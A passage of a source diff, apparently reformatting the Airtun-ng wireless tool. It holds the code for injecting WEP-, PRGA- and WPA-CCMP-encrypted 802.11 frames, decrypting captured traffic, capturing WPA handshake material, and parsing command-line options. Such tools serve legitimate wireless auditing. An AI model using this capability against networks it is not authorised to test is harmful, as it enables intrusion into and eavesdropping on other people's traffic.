+		memcpy(h80211 + 4, packet, 6); // DST_MAC
 	}
 
-	for( i = 0; i < caplen; i++ )
+	if (opt.crypt == CRYPT_WEP)
 	{
-	if( ( i & 15 ) == 0 )
+		K[0] = rand() & 0xFF;
+		K[1] = rand() & 0xFF;
+		K[2] = rand() & 0xFF;
+		K[3] = 0x00;
+
+		/* write crc32 value behind data */
+		if (add_crc32(h80211 + data_begin, length - data_begin) != 0) return 1;
+
+		length += 4; // icv
+		memcpy(buf, h80211 + data_begin, length - data_begin);
+		memcpy(h80211 + data_begin + 4, buf, length - data_begin);
+
+		memcpy(h80211 + data_begin, K, 4);
+		length += 4; // iv
+
+		memcpy(K + 3, opt.wepkey, opt.weplen);
+
+		encrypt_wep(h80211 + data_begin + 4,
+					length - data_begin - 4,
+					K,
+					opt.weplen + 3);
+
+		h80211[1] = h80211[1] | 0x40;
+	}
+	else if (opt.crypt == CRYPT_WPA)
 	{
-		if( i == 224 )
+		/* Add QoS */
+		/*   Doesn't seem to be needed -> commented out */
+		// memmove( h80211 + data_begin + 2, h80211 + data_begin, length -
+		// data_begin );
+		// memset( h80211 + data_begin, 0, 2 );
+		// data_begin += 2;
+		// length += 2;
+		// h80211[0] |= 0x80; // Set QoS
+
+		/* Find station */
+		st_cur = st_1st;
+		while (st_cur != NULL)
 		{
-		printf( "\n        --- CUT ---" );
-		break;
+			// STA -> AP
+			if (opt.tods == 1 && memcmp(st_cur->stmac, packet + 6, 6) == 0)
+				break;
+
+			// AP -> STA
+			if (opt.tods == 0 && memcmp(st_cur->stmac, packet, 6) == 0) break;
+
+			st_cur = st_cur->next;
+		}
+		if (st_cur == NULL)
+		{
+			printf("Cannot inject: handshake not captured yet.\n");
+			return 1;
 		}
 
-		printf( "\n        0x%04x:  ", i );
-	}
+		// Todo: overflow to higher bits (pn is 6 bytes wide)
+		st_cur->pn[5] += 1;
 
-	printf( "%02x", h80211[i] );
+		h80211[1] = h80211[1] | 0x40; // Set Protected Frame flag
 
-	if( ( i & 1 ) != 0 )
-		printf( " " );
+		encrypt_ccmp(h80211, length, st_cur->ptk + 32, st_cur->pn);
+		length += 16;
+		data_begin += 8;
+	}
+	else if (opt.prgalen > 0)
+	{
+		if (create_wep_packet(h80211, &length, data_begin) != 0) return 1;
+	}
 
-	if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
+	if ((opt.tods == 2) && opt.bidir)
 	{
-		for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
+		dest_net = get_entry(packet); // Search the list to determine in which
+		// network part to send the packet.
+		if (dest_net == 0)
 		{
-		printf( "  " );
-		if( ( j & 1 ) != 0 )
-			printf( " " );
+			send_packet(h80211, length);
 		}
+		else if (dest_net == 1)
+		{
+			swap_ra_ta(h80211);
+			send_packet(h80211, length);
+		}
+		else
+		{
+			send_packet(h80211, length);
+			swap_ra_ta(h80211);
+			send_packet(h80211, length);
+		}
+	}
+	else
+	{
+		send_packet(h80211, length);
+	}
 
-		printf( " " );
+	return 0;
+}
 
-		for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
-		printf( "%c", ( h80211[i - 15 + j] <  32 ||
-				h80211[i - 15 + j] > 126 )
-				? '.' : h80211[i - 15 + j] );
+static int packet_recv(unsigned char * packet, int length)
+{
+	unsigned char K[64];
+	unsigned char bssid[6], smac[6], dmac[6], stmac[6];
+	unsigned char * buffer;
+	unsigned long crc;
+
+	int len;
+	int z;
+	int fragnum, seqnum, morefrag;
+	int process_packet;
+
+	struct WPA_ST_info * st_cur;
+	struct WPA_ST_info * st_prv;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+	if ((packet[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	if (length < z + 8)
+	{
+		return 1;
 	}
 
-	if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
+	// FromDS/ToDS fields
+	switch (packet[1] & 3)
 	{
-		printf( " " );
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			memset(stmac, 0, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			memcpy(stmac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			memcpy(stmac, packet + 4, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			memcpy(stmac, packet + 4, 6);
+			break;
+	}
+
+	fragnum = packet[22] & 0x0F;
+	seqnum = (packet[22] >> 4) | (packet[23] << 4);
+	morefrag = packet[1] & 0x04;
 
-		for( j = 0; j < 16; j++ )
-		printf( "%c", ( h80211[i - 15 + j] <  32 ||
-				h80211[i - 15 + j] > 127 )
-				? '.' : h80211[i - 15 + j] );
+	/* Fragment? */
+	if (fragnum > 0 || morefrag)
+	{
+		addFrag(packet, smac, length);
+		buffer = getCompleteFrag(smac, seqnum, &len);
+		timeoutFrag();
+
+		/* we got frag, no compelete packet avail -> do nothing */
+		if (buffer == NULL) return 1;
+
+		//             printf("got all frags!!!\n");
+		memcpy(packet, buffer, len);
+		length = len;
+		free(buffer);
+		buffer = NULL;
 	}
+
+	process_packet = 0;
+
+	// In WDS mode we want to see packets from both sides of the network
+	if ((packet[0] & 0x08) == 0x08)
+	{
+		if (memcmp(bssid, opt.r_bssid, 6) == 0)
+		{
+			process_packet = 1;
+		}
+		else if (opt.tods == 2 && memcmp(bssid, opt.r_trans, 6) == 0)
+		{
+			process_packet = 1;
+		}
 	}
-	printf("\n");
-}
 
-#define IEEE80211_LLC_SNAP      \
-    "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"  \
-    "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
+	if (process_packet)
+	{
+		/* find station */
 
-int set_IVidx(unsigned char* packet, int data_begin)
-{
-    if(packet == NULL) return 1;
+		st_prv = NULL;
+		st_cur = st_1st;
 
-    if(opt.prga == NULL)
-    {
-        printf("Please specify a PRGA file (-y).\n");
-        return 1;
-    }
+		while (st_cur != NULL)
+		{
+			if (!memcmp(st_cur->stmac, stmac, 6)) break;
 
-    /* insert IV+index */
-    memcpy(packet + data_begin, opt.prga, 4);
+			st_prv = st_cur;
+			st_cur = st_cur->next;
+		}
 
-    return 0;
-}
+		/* if it's a new station, add it */
 
-int encrypt_data(unsigned char *dest, unsigned char* data, int length)
-{
-    unsigned char cipher[2048];
-    int n;
-
-    if(dest == NULL)                return 1;
-    if(data == NULL)                return 1;
-    if(length < 1 || length > 2044) return 1;
-
-    if(opt.prga == NULL)
-    {
-        printf("Please specify a PRGA file (-y).\n");
-        return 1;
-    }
-
-    if(opt.prgalen-4 < length)
-    {
-        printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4));
-        return 1;
-    }
-
-    /* encrypt data */
-    for(n=0; n<length; n++)
-    {
-        cipher[n] = (data[n] ^ opt.prga[4+n]) & 0xFF;
-    }
-
-    memcpy(dest, cipher, length);
-
-    return 0;
-}
+		if (st_cur == NULL)
+		{
+			if (!(st_cur
+				  = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
+			{
+				perror("malloc failed");
+				return 1;
+			}
+
+			memset(st_cur, 0, sizeof(struct WPA_ST_info));
+
+			if (st_1st == NULL)
+				st_1st = st_cur;
+			else
+				st_prv->next = st_cur;
+
+			memcpy(st_cur->stmac, stmac, 6);
+			memcpy(st_cur->bssid, bssid, 6);
+		}
 
-int create_wep_packet(unsigned char* packet, int *length, int data_begin)
-{
-    if(packet == NULL) return 1;
+		/* check if we haven't already processed this packet */
+
+		crc = calc_crc_buf(packet + z, length - z);
+
+		if ((packet[1] & 3) == 2)
+		{
+			if (st_cur->t_crc == crc)
+			{
+				return 1;
+			}
+
+			st_cur->t_crc = crc;
+		}
+		else
+		{
+			if (st_cur->f_crc == crc)
+			{
+				return 1;
+			}
+
+			st_cur->f_crc = crc;
+		}
+
+		/* check the SNAP header to see if data is encrypted *
+		 * as unencrypted data begins with AA AA 03 00 00 00 */
+
+		if (packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
+		{
+			/* check the extended IV flag */
+
+			if ((packet[z + 3] & 0x20) == 0)
+			{
+				if (opt.crypt != CRYPT_WEP) return 1;
+
+				memcpy(K, packet + z, 3);
+				memcpy(K + 3, opt.wepkey, opt.weplen);
+
+				if (decrypt_wep(
+						packet + z + 4, length - z - 4, K, 3 + opt.weplen)
+					== 0)
+				{
+					printf("ICV check failed!\n");
+					return 1;
+				}
+
+				/* WEP data packet was successfully decrypted, *
+				 * remove the WEP IV & ICV and write the data  */
+
+				length -= 8;
+
+				/* can overlap */
+				memmove(packet + z, packet + z + 4, length - z);
+
+				packet[1] &= 0xBF;
+			}
+			else
+			{
+				if (opt.crypt != CRYPT_WPA) return 1;
+
+				/* if the PTK is valid, try to decrypt */
+
+				if (st_cur == NULL || !st_cur->valid_ptk) return 1;
+
+				if (st_cur->keyver == 1)
+				{
+					if (decrypt_tkip(packet, length, st_cur->ptk + 32) == 0)
+					{
+						printf("ICV check failed (WPA-TKIP)!\n");
+						return 1;
+					}
+
+					length -= 20;
+				}
+				else
+				{
+					if (memcmp(smac, st_cur->stmac, 6) == 0)
+					{
+						st_cur->pn[0] = packet[z + 7];
+						st_cur->pn[1] = packet[z + 6];
+						st_cur->pn[2] = packet[z + 5];
+						st_cur->pn[3] = packet[z + 4];
+						st_cur->pn[4] = packet[z + 1];
+						st_cur->pn[5] = packet[z + 0];
+					}
+
+					if (decrypt_ccmp(packet, length, st_cur->ptk + 32) == 0)
+					{
+						printf("ICV check failed (WPA-CCMP)!\n");
+						return 1;
+					}
+
+					length -= 16;
+				}
+
+				/* WPA data packet was successfully decrypted, *
+				 * remove the WPA Ext.IV & MIC, write the data */
+
+				/* can overlap */
+				memmove(packet + z, packet + z + 8, length - z);
+
+				packet[1] &= 0xBF;
+			}
+		}
+		else if (opt.crypt == CRYPT_WPA)
+		{
+			/* check ethertype == EAPOL */
+
+			z += 6;
+
+			if (packet[z] != 0x88 || packet[z + 1] != 0x8E)
+			{
+				return 1;
+			}
+
+			z += 2;
+
+			/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
+
+			if (packet[z + 1] != 0x03
+				|| (packet[z + 4] != 0xFE && packet[z + 4] != 0x02))
+				return 1;
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+				&& (packet[z + 6] & 0x80) != 0
+				&& (packet[z + 5] & 0x01) == 0)
+			{
+				/* set authenticator nonce */
+
+				memcpy(st_cur->anonce, &packet[z + 17], 32);
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+				&& (packet[z + 6] & 0x80) == 0
+				&& (packet[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+				{
+					/* set supplicant nonce */
+
+					memcpy(st_cur->snonce, &packet[z + 17], 32);
+				}
+
+				/* copy the MIC & eapol frame */
+
+				st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+				if (length - z < (int) st_cur->eapol_size
+					|| st_cur->eapol_size == 0
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					return 1;
+				}
+
+				memcpy(st_cur->keymic, &packet[z + 81], 16);
+				memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
+				memset(st_cur->eapol + 81, 0, 16);
+
+				/* copy the key descriptor version */
+
+				st_cur->keyver = packet[z + 6] & 7;
+			}
+
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
+				&& (packet[z + 6] & 0x80) != 0
+				&& (packet[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+				{
+					/* set authenticator nonce */
+
+					memcpy(st_cur->anonce, &packet[z + 17], 32);
+				}
 
-    /* write crc32 value behind data */
-    if( add_crc32(packet + data_begin, *length - data_begin) != 0 )               return 1;
+				/* copy the MIC & eapol frame */
 
-    /* encrypt data+crc32 and keep a 4byte hole */
-    if( encrypt_data(packet + data_begin + 4, packet + data_begin, *length-(data_begin - 4)) != 0 ) return 1;
+				st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
 
-    /* write IV+IDX right in front of the encrypted data */
-    if( set_IVidx(packet, data_begin) != 0 )                              return 1;
+				if (length - z < (int) st_cur->eapol_size
+					|| st_cur->eapol_size == 0
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					return 1; // continue;
+				}
 
-    /* set WEP bit */
-    packet[1] = packet[1] | 0x40;
+				memcpy(st_cur->keymic, &packet[z + 81], 16);
+				memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
+				memset(st_cur->eapol + 81, 0, 16);
 
-    *length+=8;
-    /* now you got yourself a shiny, brand new encrypted wep packet ;) */
+				/* copy the key descriptor version */
 
-    return 0;
+				st_cur->keyver = packet[z + 6] & 7;
+			}
+
+			st_cur->valid_ptk = calc_ptk(st_cur, opt.pmk);
+
+			if (st_cur->valid_ptk)
+			{
+				printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X\n",
+					   st_cur->stmac[0],
+					   st_cur->stmac[1],
+					   st_cur->stmac[2],
+					   st_cur->stmac[3],
+					   st_cur->stmac[4],
+					   st_cur->stmac[5]);
+			}
+		}
+
+		switch (packet[1] & 3)
+		{
+			case 1:
+				memcpy(h80211, packet + 16, 6); // DST_MAC
+				memcpy(h80211 + 6, packet + 10, 6); // SRC_MAC
+				break;
+			case 2:
+				memcpy(h80211, packet + 4, 6); // DST_MAC
+				memcpy(h80211 + 6, packet + 16, 6); // SRC_MAC
+				break;
+			case 3:
+				memcpy(h80211, packet + 16, 6); // DST_MAC
+				memcpy(h80211 + 6, packet + 24, 6); // SRC_MAC
+				break;
+			default:
+				break;
+		}
+
+		/* Keep track of known MACs, so we only have to tunnel into one side of
+		 * the WDS network */
+		if (((packet[1] & 3) == 3) && opt.bidir)
+		{
+			if (!memcmp(packet + 10, opt.r_bssid, 6))
+			{
+				set_entry(packet + 24, 0);
+			}
+			if (!memcmp(packet + 10, opt.r_trans, 6))
+			{
+				set_entry(packet + 24, 1);
+			}
+		}
+
+		if (memcmp(dmac, SPANTREE, 6) == 0)
+		{
+			if (length <= z + 8) return 1;
+
+			memcpy(h80211 + 14, packet + z, length - z);
+
+			length = length - z + 14;
+
+			h80211[12] = ((length - 14) >> 8) & 0xFF;
+			h80211[13] = (length - 14) & 0xFF;
+		}
+		else
+		{
+			memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
+
+			if (length <= z + 8) return 1;
+
+			memcpy(h80211 + 14, packet + z + 8, length - z - 8);
+			length = length - z - 8 + 14;
+		}
+
+		ti_write(dev.dv_ti, h80211, length);
+	}
+	else
+	{
+		return 1;
+	}
+
+	return 0;
 }
 
-int packet_xmit(unsigned char* packet, int length)
+int main(int argc, char * argv[])
 {
-    unsigned char K[64];
-    unsigned char buf[4096];
-    struct WPA_ST_info *st_cur;
-    int data_begin = 24;
-    int dest_net;
-
-    if( memcmp(packet, SPANTREE, 6) == 0 )
-    {
-        memcpy(h80211, IEEE80211_LLC_SNAP, 24); //shorter LLC/SNAP - only copy IEEE80211 HEADER
-        memcpy(h80211+24, packet+14, length-14);
-//         memcpy(h80211+30, packet+12, 2);
-        length = length+24-14; //32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
-    }
-    else
-    {
-        memcpy(h80211, IEEE80211_LLC_SNAP, 32);
-        memcpy(h80211+32, packet+14, length-14);
-        memcpy(h80211+30, packet+12, 2);
-        length = length+32-14; //32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
-    }
-
-    if(opt.tods == 1)
-    {
-        h80211[1] |= 0x01;
-        memcpy(h80211+4,  opt.r_bssid, 6);  //BSSID
-        memcpy(h80211+10, packet+6,    6);  //SRC_MAC
-        memcpy(h80211+16, packet,      6);  //DST_MAC
-    }
-    else if(opt.tods == 2)
-    {
-        h80211[1] |= 0x03;
-        length += 6; //additional MAC addr
-        data_begin += 6;
-        memcpy(buf, h80211+24, length-24);
-        memcpy(h80211+30, buf, length-24);
-
-        memcpy(h80211+24, packet+6   , 6);  //SRC_MAC
-        memcpy(h80211+10, opt.r_trans, 6);  //TRANSMITTER
-        memcpy(h80211+16, packet     , 6);  //DST_MAC
-        memcpy(h80211+4,  opt.r_bssid, 6);  //RECEIVER
-    }
-    else
-    {
-        h80211[1] |= 0x02;
-        memcpy(h80211+10, opt.r_bssid, 6);  //BSSID
-        memcpy(h80211+16, packet+6,    6);  //SRC_MAC
-        memcpy(h80211+4,  packet,      6);  //DST_MAC
-    }
-
-    if( opt.crypt == CRYPT_WEP)
-    {
-        K[0] = rand() & 0xFF;
-        K[1] = rand() & 0xFF;
-        K[2] = rand() & 0xFF;
-        K[3] = 0x00;
-
-        /* write crc32 value behind data */
-        if( add_crc32(h80211+data_begin, length-data_begin) != 0 ) return 1;
-
-        length += 4; //icv
-        memcpy(buf, h80211 + data_begin, length - data_begin);
-        memcpy(h80211 + data_begin + 4, buf, length - data_begin);
-
-        memcpy(h80211 + data_begin, K, 4);
-        length += 4; //iv
-
-        memcpy( K + 3, opt.wepkey, opt.weplen );
-
-        encrypt_wep( h80211 + data_begin + 4, length - data_begin - 4, K, opt.weplen + 3 );
-
-        h80211[1] = h80211[1] | 0x40;
-    }
-    else if( opt.crypt == CRYPT_WPA )
-    {
-        /* Add QoS */
-        /*   Doesn't seem to be needed -> commented out */
-        // memmove( h80211 + data_begin + 2, h80211 + data_begin, length - data_begin );
-        // memset( h80211 + data_begin, 0, 2 );
-        // data_begin += 2;
-        // length += 2;
-        // h80211[0] |= 0x80; // Set QoS
-
-        /* Find station */
-        st_cur = st_1st;
-        while( st_cur != NULL )
-        {
-            // STA -> AP
-            if( opt.tods == 1 && memcmp( st_cur->stmac, packet+6, 6 ) == 0 )
-                break;
-
-            // AP -> STA
-            if( opt.tods == 0 && memcmp( st_cur->stmac, packet, 6 ) == 0 )
-                break;
-
-            st_cur = st_cur->next;
-        }
-        if( st_cur == NULL )
-        {
-            printf( "Cannot inject: handshake not captured yet.\n" );
-            return 1;
-        }
-
-        // Todo: overflow to higher bits (pn is 6 bytes wide)
-        st_cur->pn[5] += 1;
-
-        h80211[1] = h80211[1] | 0x40; // Set Protected Frame flag
-
-        encrypt_ccmp( h80211, length, st_cur->ptk + 32, st_cur->pn );
-        length += 16;
-        data_begin += 8;
-    }
-    else if( opt.prgalen > 0 )
-    {
-        if(create_wep_packet(h80211, &length, data_begin) != 0) return 1;
-    }
-
-    if ((opt.tods == 2) && opt.bidir) {
-        dest_net = get_entry(packet);  //Search the list to determine in which network part to send the packet.
-        if (dest_net == 0) {
-            send_packet(h80211, length);
-        } else if (dest_net == 1) {
-            swap_ra_ta(h80211);
-            send_packet(h80211, length);
-        } else {
-            send_packet(h80211, length);
-            swap_ra_ta(h80211);
-            send_packet(h80211, length);
-        }
-    } else {
-        send_packet(h80211, length);
-    }
-
-    return 0;
-}
+	int ret_val, len, i, n, ret;
+	struct pcap_pkthdr pkh;
+	fd_set read_fds;
+	unsigned char buffer[4096];
+	unsigned char bssid[6];
+	char *s, buf[128];
+	int caplen;
+
+#ifdef USE_GCRYPT
+	// Disable secure memory.
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
+	// Tell Libgcrypt that initialization has completed.
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
+#endif
 
+	/* check the arguments */
 
-int packet_recv(unsigned char* packet, int length)
-{
-    unsigned char K[64];
-    unsigned char bssid[6], smac[6], dmac[6], stmac[6];
-    unsigned char *buffer;
-    unsigned long crc;
-
-    int len;
-    int z;
-    int fragnum, seqnum, morefrag;
-    int process_packet;
-
-    struct WPA_ST_info *st_cur;
-    struct WPA_ST_info *st_prv;
-
-    z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-            z+=2;
-
-    if(length < z+8)
-    {
-        return 1;
-    }
-
-    switch( packet[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, packet + 16, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, packet + 4, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 10, 6 );
-            memcpy( stmac, packet + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 4, 6 );
-            memcpy( smac, packet + 16, 6 );
-            memcpy( stmac, packet + 4, 6 );
-            break;
-        default:
-            memcpy( bssid, packet + 10, 6 );
-            memcpy( dmac, packet + 16, 6 );
-            memcpy( smac, packet + 24, 6 );
-            memcpy( stmac, packet + 4, 6 );
-            break;
-    }
-
-    fragnum = packet[22] & 0x0F;
-    seqnum = (packet[22] >> 4) | (packet[23] << 4);
-    morefrag = packet[1] & 0x04;
-
-    /* Fragment? */
-    if(fragnum > 0 || morefrag)
-    {
-        addFrag(packet, smac, length);
-        buffer = getCompleteFrag(smac, seqnum, &len);
-        timeoutFrag();
-
-        /* we got frag, no compelete packet avail -> do nothing */
-        if(buffer == NULL)
-            return 1;
-
-//             printf("got all frags!!!\n");
-        memcpy(packet, buffer, len);
-        length = len;
-        free(buffer);
-        buffer = NULL;
-    }
-
-    process_packet = 0;
-
-    // In WDS mode we want to see packets from both sides of the network
-    if ( ( packet[0] & 0x08 ) == 0x08 ) {
-		if( memcmp( bssid, opt.r_bssid, 6) == 0 ) {
-				process_packet = 1;
-		} else if( opt.tods == 2 && memcmp( bssid, opt.r_trans, 6) == 0 ) {
-				process_packet = 1;
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+
+	rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	memset(rFragment, 0, sizeof(struct Fragment_list));
+
+	opt.r_nbpps = 100;
+	opt.tods = 0;
+
+	srand(time(NULL));
+
+	while (1)
+	{
+		int option_index = 0;
+
+		static struct option long_options[] = {{"netmask", 1, 0, 'm'},
+											   {"bssid", 1, 0, 'd'},
+											   {"repeat", 0, 0, 'f'},
+											   {"help", 0, 0, 'H'},
+											   {0, 0, 0, 0}};
+
+		int option = getopt_long(argc,
+								 argv,
+								 "x:a:h:i:r:y:t:s:bw:p:e:m:d:fH",
+								 long_options,
+								 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'x':
+
+				ret = sscanf(optarg, "%d", &opt.r_nbpps);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
+				{
+					printf("Invalid number of packets per second. [1-1024]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_face = optarg;
+				break;
+
+			case 't':
+
+				if (atoi(optarg) == 1)
+					opt.tods = 1;
+				else if (atoi(optarg) == 2)
+					opt.tods = 2;
+				else
+					opt.tods = 0;
+				break;
+
+			case 's':
+
+				if (getmac(optarg, 1, opt.r_trans) != 0)
+				{
+					printf("Invalid Transmitter MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'b':
+
+				opt.bidir = 1;
+				break;
+
+			case 'w':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				opt.crypt = CRYPT_WEP;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid WEP key.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
+
+					opt.wepkey[i++] = n;
+
+					if (i >= 64) break;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
+				{
+					printf("Invalid WEP key length.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				opt.weplen = i;
+
+				break;
+
+			case 'e':
+
+				if (opt.essid[0])
+				{
+					printf("ESSID already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(opt.essid, 0, sizeof(opt.essid));
+				strncpy(opt.essid, optarg, sizeof(opt.essid) - 1);
+				break;
+
+			case 'p':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(opt.passphrase, 0, sizeof(opt.passphrase));
+				strncpy(opt.passphrase, optarg, sizeof(opt.passphrase) - 1);
+
+				break;
+
+			case 'm':
+
+				if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: netmask already given\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					break;
+				}
+				if (getmac(optarg, 1, opt.f_netmask) != 0)
+				{
+					printf("Notice: invalid netmask\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+			case 'd':
+				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: bssid already given\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					break;
+				}
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Notice: invalid bssid\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+			case 'f':
+				opt.repeat = 1;
+				break;
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Airtun-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
+
+			default:
+				goto usage;
 		}
 	}
 
-    if( process_packet )
-    {
-        /* find station */
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(
+				usage,
+				getVersion(
+					"Airtun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
 
-        st_prv = NULL;
-        st_cur = st_1st;
-
-        while( st_cur != NULL )
-        {
-            if( ! memcmp( st_cur->stmac, stmac, 6 ) )
-                break;
-
-            st_prv = st_cur;
-            st_cur = st_cur->next;
-        }
-
-        /* if it's a new station, add it */
-
-        if( st_cur == NULL )
-        {
-            if( ! ( st_cur = (struct WPA_ST_info *) malloc(
-                             sizeof( struct WPA_ST_info ) ) ) )
-            {
-                perror( "malloc failed" );
-                return 1;
-            }
-
-            memset( st_cur, 0, sizeof( struct WPA_ST_info ) );
-
